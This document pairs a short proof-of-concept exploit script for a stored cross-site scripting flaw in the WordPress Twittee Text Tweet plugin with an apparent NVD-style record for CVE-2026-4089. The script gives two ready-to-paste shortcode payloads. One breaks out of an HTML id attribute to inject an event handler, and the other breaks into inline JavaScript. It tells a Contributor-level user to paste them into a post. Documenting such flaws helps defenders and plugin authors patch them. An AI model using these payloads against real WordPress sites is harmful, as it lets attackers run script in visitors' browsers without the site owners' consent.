CVE-2026-4089

# Exploit Title: WordPress Twittee Text Tweet < 1.0.8 - Stored XSS (PoC) # Description: Injecting malicious script via the 'id' shortcode attribute. # Usage: Add the shortcode below to a post/page as a Contributor user. # Payload 1: Breaking out of the HTML id attribute to inject an event handler payload_1 = '[twittee id="123" onmouseover="alert(\'XSS\')" /"]' # Payload 2: Injecting into inline JavaScript context via the 'tweet' attribute payload_2 = '[twittee tweet=\'\");alert(\"XSS\");//\']' print("Copy and paste the following into a WordPress post content:") print(payload_1)

{"cve": {"id": "CVE-2026-4089", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:22.713", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in all versions up to and including 1.0.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The ttt_twittee_tweeter() function uses extract() to pull shortcode attributes into local variables and then directly concatenates them into HTML output without any escaping. Specifically, the $id parameter is inserted into an HTML id attribute context without esc_attr(), allowing an attacker to break out of the attribute and inject arbitrary HTML event handlers. Additionally, the $tweet, $content, $balloon, and $theme attributes are similarly injected into inline JavaScript without escaping (lines 87, 93, 101, 117). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/twittee-text-tweet/tags/1.0.8/ttt-twittee-text-tweet.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twittee-text-tweet/tags/1.0.8/ttt-twittee-text-tweet.php#L87", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twittee-text-tweet/trunk/ttt-twittee-text-tweet.php#L55", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twittee-text-tweet/trunk/ttt-twittee-text-tweet.php#L87", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4d678e97-f466-4640-83ee-a3a24550e8d8?source=cve", "source": "[email protected]"}]}}